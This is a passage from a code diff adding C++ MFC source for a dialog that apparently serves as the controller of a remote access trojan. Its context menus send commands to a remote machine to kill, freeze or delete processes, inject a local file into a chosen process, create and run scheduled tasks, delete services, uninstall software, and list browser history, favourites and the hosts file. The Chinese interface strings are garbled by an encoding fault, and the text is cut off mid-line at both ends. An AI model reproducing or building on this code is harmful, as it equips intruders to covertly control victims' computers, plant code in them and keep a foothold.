(p) { + CString tem = p; + m_list.InsertItem(i, tem); + p = strtok_s(NULL, d, &buf); + m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i)); + i++; + } + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); +} + +void CMachineDlg::OnSize(UINT nType, int cx, int cy) +{ + CDialog::OnSize(nType, cx, cy); + + // TODO: Add your message handler code here + if (IsWindowVisible()) + AdjustList(); + + // ״̬ûд + if (m_wndStatusBar.m_hWnd == NULL) + return; + + // λ״̬ + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ +} + +void CMachineDlg::AdjustList() +{ + RECT rectClient; + RECT rectList; + GetClientRect(&rectClient); + rectList.left = 0; + rectList.top = 22; + rectList.right = rectClient.right; + rectList.bottom = rectClient.bottom - 20; + + m_list.MoveWindow(&rectList); +} + + +void CMachineDlg::OpenInfoDlg() +{ + int nItem = -1; + nItem = m_list.GetNextItem(nItem, LVNI_SELECTED); + if (nItem == -1) + return; + + CServiceInfoDlg pDlg(this); + + pDlg.m_iocpServer = m_iocpServer; + pDlg.m_pContext = m_pContext; + + pDlg.m_ServiceInfo.strSerName = m_list.GetItemText(nItem, 6); + pDlg.m_ServiceInfo.strSerDisPlayname = m_list.GetItemText(nItem, 0); + pDlg.m_ServiceInfo.strSerDescription = m_list.GetItemText(nItem, 1); + pDlg.m_ServiceInfo.strFilePath = m_list.GetItemText(nItem, 7); + pDlg.m_ServiceInfo.strSerRunway = m_list.GetItemText(nItem, 3); + pDlg.m_ServiceInfo.strSerState = m_list.GetItemText(nItem, 2); + + pDlg.DoModal(); +} + +void CMachineDlg::SendToken(BYTE bToken) +{ + CString tSerName; + + int nItem = m_list.GetNextItem(-1, LVNI_SELECTED); + tSerName = m_list.GetItemText(nItem, 6); + + int s = tSerName.Find(_T("*")); + if (s == 0) { + tSerName = tSerName.Right(tSerName.GetLength() - 1); + } + + int nPacketLength = (tSerName.GetLength() * sizeof(char) + 1);; + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpBuffer[0] = bToken; + + memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char)); + m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength); + LocalFree(lpBuffer); +} + +/////////////////////////////////////////// ˵ /////////////////////////////////////////// + +void CMachineDlg::SetClipboardText(CString& Data) +{ + CStringA source = Data; + // ıݱsource + if (OpenClipboard()) { + HGLOBAL clipbuffer; + char* buffer; + EmptyClipboard(); + clipbuffer = GlobalAlloc(GMEM_DDESHARE, source.GetLength() + 1); + buffer = (char*)GlobalLock(clipbuffer); + strcpy_s(buffer, strlen(source) + 1, LPCSTR(source)); + GlobalUnlock(clipbuffer); + SetClipboardData(CF_TEXT, clipbuffer); + CloseClipboard(); + } +} + + +void CMachineDlg::ShowProcessList_menu() +{ + CMenu menu; + VERIFY(menu.CreatePopupMenu()); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("ɾļ(&C)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("(&E)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 400, _T("(&D)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 500, _T("ⶳ(&J)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 600, _T("ǿɾļ(&Q)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 700, _T("ע(&I)")); + + CPoint p; + GetCursorPos(&p); + int nMenuResult = ::TrackPopupMenu(menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, p.x, p.y, 0, GetSafeHwnd(), NULL); + if (!nMenuResult) return; + switch (nMenuResult) { + case 50: + reflush(); + break; + case 100: { + if (m_list.GetSelectedCount() < 1) { + return; + } + POSITION pos = m_list.GetFirstSelectedItemPosition(); + CString Data; + CString temp; + while (pos) { + temp = _T(""); + int nItem = m_list.GetNextSelectedItem(pos); + for (int i = 0; i < m_list.GetHeaderCtrl()->GetItemCount(); i++) { + temp += m_list.GetItemText(nItem, i); + temp += _T(" "); + } + Data += temp; + Data += _T("\r\n"); + } + SetClipboardText(Data); + MessageBox(_T("Ѹݵа!")); + } + break; + case 200: { + POSITION pos = m_list.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + LPBYTE lpBuffer = new BYTE[1 + sizeof(DWORD)]; + lpBuffer[0] = COMMAND_PROCESS_KILLDEL; + DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; + memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + SAFE_DELETE_AR(lpBuffer); + } + } + break; + case 300: { + POSITION pos = m_list.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + LPBYTE lpBuffer = new BYTE[1 + sizeof(DWORD)]; + lpBuffer[0] = COMMAND_PROCESS_KILL; + DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; + memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + SAFE_DELETE_AR(lpBuffer); + } + } + break; + case 400: { + POSITION pos = m_list.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + LPBYTE lpBuffer = new BYTE[1 + sizeof(DWORD)]; + lpBuffer[0] = COMMAND_PROCESS_FREEZING; + DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; + memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + SAFE_DELETE_AR(lpBuffer); + } + } + break; + case 500: { + POSITION pos = m_list.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + LPBYTE lpBuffer = new BYTE[1 + sizeof(DWORD)]; + lpBuffer[0] = COMMAND_PROCESS_THAW; + DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; + memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + SAFE_DELETE_AR(lpBuffer); + } + } + break; + case 600: { + POSITION pos = m_list.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + LPBYTE lpBuffer = new BYTE[1 + sizeof(DWORD)]; + lpBuffer[0] = COMMAND_PROCESS_DEL; + DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; + memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + SAFE_DELETE_AR(lpBuffer); + } + } + break; + case 700: { + POSITION pos = m_list.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; + + CInjectCodeDlg dlg; + if (dlg.DoModal() != IDOK) { + return; + } + InjectData* p_InjectData = new InjectData; + ZeroMemory(p_InjectData, sizeof(InjectData)); + p_InjectData->mode = dlg.isel; + p_InjectData->dwProcessID = dwProcessID; + CString strexeis86 = m_list.GetItemText(nItem, 9); + strexeis86 == _T("x86") ? p_InjectData->ExeIsx86 = 1 : p_InjectData->ExeIsx86 = 0; + memcpy(p_InjectData->strpath, dlg.Str_remote, dlg.Str_remote.GetLength() * 2 + 2); + //ȡļ + BYTE* lpBuffer = NULL; + HANDLE hFile = CreateFile(dlg.Str_loacal, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("ļʧ...")), 0); + } else { + p_InjectData->datasize = GetFileSize(hFile, NULL); + int allsize = p_InjectData->datasize + sizeof(InjectData)+1; + lpBuffer = new BYTE[allsize]; + ZeroMemory(lpBuffer, allsize); + lpBuffer[0]= COMMAND_INJECT; + memcpy(lpBuffer+1, p_InjectData, sizeof(InjectData)); + DWORD wr = 0; + ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL); + CloseHandle(hFile); + m_iocpServer->Send(m_pContext, lpBuffer, allsize); + SAFE_DELETE_AR(lpBuffer); + } + SAFE_DELETE(p_InjectData); + break; + } + } + break; + default: + break; + } + + menu.DestroyMenu(); +} + +void CMachineDlg::ShowWindowsList_menu() +{ + CMenu menu; + VERIFY(menu.CreatePopupMenu()); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("ԭ(&H)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("ش(&Y)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 400, _T("رմ(&E)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 500, _T(" (&M)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 600, _T(" С (&I)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 700, _T("(&D)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 800, _T("ⶳ(&J)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 900, _T("(&E)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + CPoint p; + GetCursorPos(&p); + int nMenuResult = ::TrackPopupMenu(menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, p.x, p.y, 0, GetSafeHwnd(), NULL); + if (!nMenuResult) return; + switch (nMenuResult) { + case 50: + reflush(); + break; + case 100: { + if (m_list.GetSelectedCount() < 1) { + return; + } + POSITION pos = m_list.GetFirstSelectedItemPosition(); + CString Data; + CString temp; + while (pos) { + temp = _T(""); + int nItem = m_list.GetNextSelectedItem(pos); + for (int i = 0; i < m_list.GetHeaderCtrl()->GetItemCount(); i++) { + temp += m_list.GetItemText(nItem, i); + temp += _T(" "); + } + Data += temp; + Data += _T("\r\n"); + } + SetClipboardText(Data); + MessageBox(_T("Ѹݵа!")); + } + break; + case 200: { + BYTE lpMsgBuf[20]; + int nItem = m_list.GetSelectionMark(); + if (nItem >= 0) { + ZeroMemory(lpMsgBuf, 20); + lpMsgBuf[0] = COMMAND_WINDOW_OPERATE; + DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); + m_list.SetItemText(nItem, 3, _T("ͻԭ")); + memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); + DWORD dHow = SW_RESTORE; + memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + } + } + break; + case 300: { + BYTE lpMsgBuf[20]; + int nItem = m_list.GetSelectionMark(); + if (nItem >= 0) { + ZeroMemory(lpMsgBuf, 20); + lpMsgBuf[0] = COMMAND_WINDOW_OPERATE; + DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); + m_list.SetItemText(nItem, 3, _T("")); + memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); + DWORD dHow = SW_HIDE; + memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + } + } + break; + case 400: { + // TODO: Add your command handler code here + BYTE lpMsgBuf[20]; + int nItem = m_list.GetSelectionMark(); + if (nItem >= 0) { + ZeroMemory(lpMsgBuf, 20); + lpMsgBuf[0] = COMMAND_WINDOW_CLOSE; + DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); + m_list.SetItemText(nItem, 3, _T("͹ر")); + memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + } + } + break; + case 500: { + BYTE lpMsgBuf[20]; + int nItem = m_list.GetSelectionMark(); + if (nItem >= 0) { + ZeroMemory(lpMsgBuf, 20); + lpMsgBuf[0] = COMMAND_WINDOW_OPERATE; + DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); + m_list.SetItemText(nItem, 3, _T("")); + memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); + DWORD dHow = SW_MAXIMIZE; + memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + } + } + break; + case 600: { + BYTE lpMsgBuf[20]; + int nItem = m_list.GetSelectionMark(); + if (nItem >= 0) { + ZeroMemory(lpMsgBuf, 20); + lpMsgBuf[0] = COMMAND_WINDOW_OPERATE; + DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); + m_list.SetItemText(nItem, 3, _T("С")); + memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); + DWORD dHow = SW_MINIMIZE; + memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + } + } + break; + case 700: { + POSITION pos = m_list.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + LPBYTE lpBuffer = new BYTE[1 + sizeof(DWORD)]; + lpBuffer[0] = COMMAND_PROCESS_FREEZING; + CString pid; + pid = m_list.GetItemText(nItem, 0); + DWORD dwProcessID = _tstoi(pid); + memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + SAFE_DELETE_AR(lpBuffer); + } + } + break; + case 800: { + POSITION pos = m_list.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + LPBYTE lpBuffer = new BYTE[1 + sizeof(DWORD)]; + lpBuffer[0] = COMMAND_PROCESS_THAW; + CString pid; + pid = m_list.GetItemText(nItem, 0); + DWORD dwProcessID = _tstoi(pid); + memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + SAFE_DELETE_AR(lpBuffer); + } + } + break; + case 900: { + POSITION pos = m_list.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + LPBYTE lpBuffer = new BYTE[1 + sizeof(DWORD)]; + lpBuffer[0] = COMMAND_PROCESS_KILL; + CString pid; + pid = m_list.GetItemText(nItem, 0); + DWORD dwProcessID = _tstoi(pid); + memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + SAFE_DELETE_AR(lpBuffer); + } + } + break; + default: + break; + } + + menu.DestroyMenu(); +} + +void CMachineDlg::ShowNetStateList_menu() +{ + CMenu menu; + VERIFY(menu.CreatePopupMenu()); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 150, _T("(&C)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + CPoint p; + GetCursorPos(&p); + int nMenuResult = ::TrackPopupMenu(menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, p.x, p.y, 0, GetSafeHwnd(), NULL); + if (!nMenuResult) return; + switch (nMenuResult) { + case 50: + reflush(); + break; + case 100: { + if (m_list.GetSelectedCount() < 1) { + return; + } + POSITION pos = m_list.GetFirstSelectedItemPosition(); + CString Data; + CString temp; + while (pos) { + temp = _T(""); + int nItem = m_list.GetNextSelectedItem(pos); + for (int i = 0; i < m_list.GetHeaderCtrl()->GetItemCount(); i++) { + temp += m_list.GetItemText(nItem, i); + temp += _T(" "); + } + Data += temp; + Data += _T("\r\n"); + } + SetClipboardText(Data); + MessageBox(_T("Ѹݵа!")); + } + break; + case 150: { + POSITION pos = m_list.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + LPBYTE lpBuffer = new BYTE[1 + sizeof(DWORD)]; + lpBuffer[0] = COMMAND_PROCESS_KILL; + DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; + memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); + m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + SAFE_DELETE_AR(lpBuffer); + } + } + break; + default: + break; + } + menu.DestroyMenu(); +} + + +void CMachineDlg::ShowSoftWareList_menu() +{ + CMenu menu; + VERIFY(menu.CreatePopupMenu()); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("жس(&X)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + CPoint p; + GetCursorPos(&p); + int nMenuResult = ::TrackPopupMenu(menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, p.x, p.y, 0, GetSafeHwnd(), NULL); + if (!nMenuResult) return; + switch (nMenuResult) { + case 50: + reflush(); + break; + case 100: { + if (m_list.GetSelectedCount() < 1) { + return; + } + POSITION pos = m_list.GetFirstSelectedItemPosition(); + CString Data; + CString temp; + while (pos) { + temp = _T(""); + int nItem = m_list.GetNextSelectedItem(pos); + for (int i = 0; i < m_list.GetHeaderCtrl()->GetItemCount(); i++) { + temp += m_list.GetItemText(nItem, i); + temp += _T(" "); + } + Data += temp; + Data += _T("\r\n"); + } + SetClipboardText(Data); + MessageBox(_T("Ѹݵа!")); + } + break; + case 200: { + if (m_list.GetSelectedCount() < 1) { + return; + } + + if (MessageBox(_T("ȷҪжظó?"), _T("ʾ"), MB_YESNO | MB_ICONQUESTION) == IDNO) + return; + + POSITION pos = m_list.GetFirstSelectedItemPosition(); + CString str; + CStringA str_a; + while (pos) { + int nItem = m_list.GetNextSelectedItem(pos); + str = m_list.GetItemText(nItem, 4); + + if (str.GetLength() > 0) { + str_a = str; + LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()]; + lpBuffer[0] = COMMAND_APPUNINSTALL; + memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength()); + m_iocpServer->Send(m_pContext, lpBuffer, str_a.GetLength() + 1); + SAFE_DELETE_AR(lpBuffer); + } + } + } + break; + default: + break; + } + + menu.DestroyMenu(); +} + +void CMachineDlg::ShowIEHistoryList_menu() +{ + CMenu menu; + VERIFY(menu.CreatePopupMenu()); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + + menu.AppendMenu(MF_SEPARATOR, NULL); + CPoint p; + GetCursorPos(&p); + int nMenuResult = ::TrackPopupMenu(menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, p.x, p.y, 0, GetSafeHwnd(), NULL); + if (!nMenuResult) return; + switch (nMenuResult) { + case 50: + reflush(); + break; + case 100: { + if (m_list.GetSelectedCount() < 1) { + return; + } + POSITION pos = m_list.GetFirstSelectedItemPosition(); + CString Data; + CString temp; + while (pos) { + temp = _T(""); + int nItem = m_list.GetNextSelectedItem(pos); + for (int i = 0; i < m_list.GetHeaderCtrl()->GetItemCount(); i++) { + temp += m_list.GetItemText(nItem, i); + temp += _T(" "); + } + Data += temp; + Data += _T("\r\n"); + } + SetClipboardText(Data); + MessageBox(_T("Ѹݵа!")); + } + break; + + default: + break; + } + + menu.DestroyMenu(); +} + +void CMachineDlg::ShowTaskList_menu() +{ + CMenu menu; + VERIFY(menu.CreatePopupMenu()); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("&(R)ִ")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 101, _T("&(T)ֹͣ")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 102, _T("&(D)ɾ")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 103, _T("&(C)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 104, _T("&(F)ˢ")); + CPoint p; + GetCursorPos(&p); + int nMenuResult = menu.TrackPopupMenu(TPM_RETURNCMD | TPM_LEFTALIGN | TPM_RIGHTBUTTON, p.x, p.y, this, NULL); + menu.DestroyMenu(); + if (!nMenuResult) return; + switch (nMenuResult) { + case 100: { + CString taskpath; + CString taskname; + DWORD offset = 0; + int nItem = m_list.GetNextItem(-1, LVNI_SELECTED); + if (nItem == -1) { + return; + } + + taskpath = m_list.GetItemText(nItem, 1); + taskname = m_list.GetItemText(nItem, 2); + + int nPacketLength = lstrlen(taskpath.GetBuffer()) * 2 + lstrlen(taskname.GetBuffer()) * 2 + 5; + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpBuffer[0] = COMMAND_TASKSTART; + offset++; + + memcpy(lpBuffer + offset, taskpath.GetBuffer(), lstrlen(taskpath.GetBuffer()) * 2 + 2); + offset += lstrlen(taskpath.GetBuffer()) * 2 + 2; + + memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); + offset += lstrlen(taskname.GetBuffer()) * 2 + 2; + + m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength); + + LocalFree(lpBuffer); + } + break; + case 101: { + CString taskpath; + CString taskname; + DWORD offset = 0; + int nItem = m_list.GetNextItem(-1, LVNI_SELECTED); + if (nItem == -1) { + return; + } + + taskpath = m_list.GetItemText(nItem, 1); + taskname = m_list.GetItemText(nItem, 2); + + int nPacketLength = lstrlen(taskpath.GetBuffer()) * 2 + lstrlen(taskname.GetBuffer()) * 2 + 5; + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpBuffer[0] = COMMAND_TASKSTOP; + offset++; + + memcpy(lpBuffer + offset, taskpath.GetBuffer(), lstrlen(taskpath.GetBuffer()) * 2 + 2); + offset += lstrlen(taskpath.GetBuffer()) * 2 + 2; + + memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); + offset += lstrlen(taskname.GetBuffer()) * 2 + 2; + + m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength); + + LocalFree(lpBuffer); + } + break; + case 102: { + CString taskpath; + CString taskname; + DWORD offset = 0; + int nItem = m_list.GetNextItem(-1, LVNI_SELECTED); + if (nItem == -1) { + return; + } + + taskpath = m_list.GetItemText(nItem, 1); + taskname = m_list.GetItemText(nItem, 2); + + int nPacketLength = lstrlen(taskpath.GetBuffer()) * 2 + lstrlen(taskname.GetBuffer()) * 2 + 5; + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpBuffer[0] = COMMAND_TASKDEL; + offset++; + + memcpy(lpBuffer + offset, taskpath.GetBuffer(), lstrlen(taskpath.GetBuffer()) * 2 + 2); + offset += lstrlen(taskpath.GetBuffer()) * 2 + 2; + + memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); + offset += lstrlen(taskname.GetBuffer()) * 2 + 2; + + m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength); + + LocalFree(lpBuffer); + } + break; + case 103: { + DWORD len = 0; + DWORD offset = 0; + CCreateTaskDlg* dlg = new CCreateTaskDlg(this); + if (IDOK == dlg->DoModal()) { + // ַ + len = lstrlen(dlg->m_TaskPath.GetBuffer()) * 2 + lstrlen(dlg->m_TaskNames.GetBuffer()) * 2 + lstrlen(dlg->m_ExePath.GetBuffer()) * + 2 + lstrlen(dlg->m_Author.GetBuffer()) * 2 + lstrlen(dlg->m_Description.GetBuffer()) * 2 + 12; + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, len); + if (lpBuffer) { + lpBuffer[0] = COMMAND_TASKCREAT; + offset++; + + memcpy(lpBuffer + offset, dlg->m_TaskPath.GetBuffer(), lstrlen(dlg->m_TaskPath.GetBuffer()) * 2 + 2); + offset += lstrlen(dlg->m_TaskPath.GetBuffer()) * 2 + 2; + + memcpy(lpBuffer + offset, dlg->m_TaskNames.GetBuffer(), lstrlen(dlg->m_TaskNames.GetBuffer()) * 2 + 2); + offset += lstrlen(dlg->m_TaskNames.GetBuffer()) * 2 + 2; + + memcpy(lpBuffer + offset, dlg->m_ExePath.GetBuffer(), lstrlen(dlg->m_ExePath.GetBuffer()) * 2 + 2); + offset += lstrlen(dlg->m_ExePath.GetBuffer()) * 2 + 2; + + memcpy(lpBuffer + offset, dlg->m_Author.GetBuffer(), lstrlen(dlg->m_Author.GetBuffer()) * 2 + 2); + offset += lstrlen(dlg->m_Author.GetBuffer()) * 2 + 2; + + memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2); + offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2; + m_iocpServer->Send(m_pContext, lpBuffer, len); + + LocalFree(lpBuffer); + } + } + + delete dlg; + } + break; + case 104: { + BYTE bToken = COMMAND_MACHINE_TASK; + m_iocpServer->Send(m_pContext, &bToken, 1); + } + break; + } +} + +void CMachineDlg::ShowFavoritesUrlList_menu() +{ + CMenu menu; + VERIFY(menu.CreatePopupMenu()); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + + menu.AppendMenu(MF_SEPARATOR, NULL); + CPoint p; + GetCursorPos(&p); + int nMenuResult = ::TrackPopupMenu(menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, p.x, p.y, 0, GetSafeHwnd(), NULL); + if (!nMenuResult) return; + switch (nMenuResult) { + case 50: + reflush(); + break; + case 100: { + if (m_list.GetSelectedCount() < 1) { + return; + } + POSITION pos = m_list.GetFirstSelectedItemPosition(); + CString Data; + CString temp; + while (pos) { + temp = _T(""); + int nItem = m_list.GetNextSelectedItem(pos); + for (int i = 0; i < m_list.GetHeaderCtrl()->GetItemCount(); i++) { + temp += m_list.GetItemText(nItem, i); + temp += _T(" "); + } + Data += temp; + Data += _T("\r\n"); + } + SetClipboardText(Data); + MessageBox(_T("Ѹݵа!")); + } + break; + default: + break; + } + + menu.DestroyMenu(); +} + +void CMachineDlg::ShowServiceList_menu() +{ + CMenu menu; + VERIFY(menu.CreatePopupMenu()); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&S)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("ֹͣ(&O)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("ͣ(&U)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 400, _T("ָ(&M)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 500, _T("(&E)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 600, _T("ˢ(&R)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 700, _T("(&R)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 800, _T("ɾ(&D)")); + CPoint p; + GetCursorPos(&p); + int nMenuResult = ::TrackPopupMenu(menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, p.x, p.y, 0, GetSafeHwnd(), NULL); + if (!nMenuResult) return; + switch (nMenuResult) { + case 100: + SendToken(COMMAND_STARTSERVERICE); + break; + case 200: + SendToken(COMMAND_STOPSERVERICE); + break; + case 300: + SendToken(COMMAND_PAUSESERVERICE); + break; + case 400: + SendToken(COMMAND_CONTINUESERVERICE); + break; + case 500: { + SendToken(COMMAND_STOPSERVERICE); + Sleep(100); + SendToken(COMMAND_STARTSERVERICE); + } + break; + case 600: { + BYTE bToken; + int nID = m_tab.GetCurSel(); + if (nID == 6) + bToken = COMMAND_SERVICE_LIST_WIN32; + else + bToken = COMMAND_SERVICE_LIST_DRIVER; + m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); + } + break; + case 700: + OpenInfoDlg(); + break; + case 800: + SendToken(COMMAND_DELETESERVERICE); + break; + + default: + break; + } + + menu.DestroyMenu(); +} + + +void CMachineDlg::ShowHostsList_menu() +{ + CMenu menu; + VERIFY(menu.CreatePopupMenu()); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + menu.AppendMenu(MF_SEPARATOR, NULL); + menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("޸Զļ(&S)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 300, 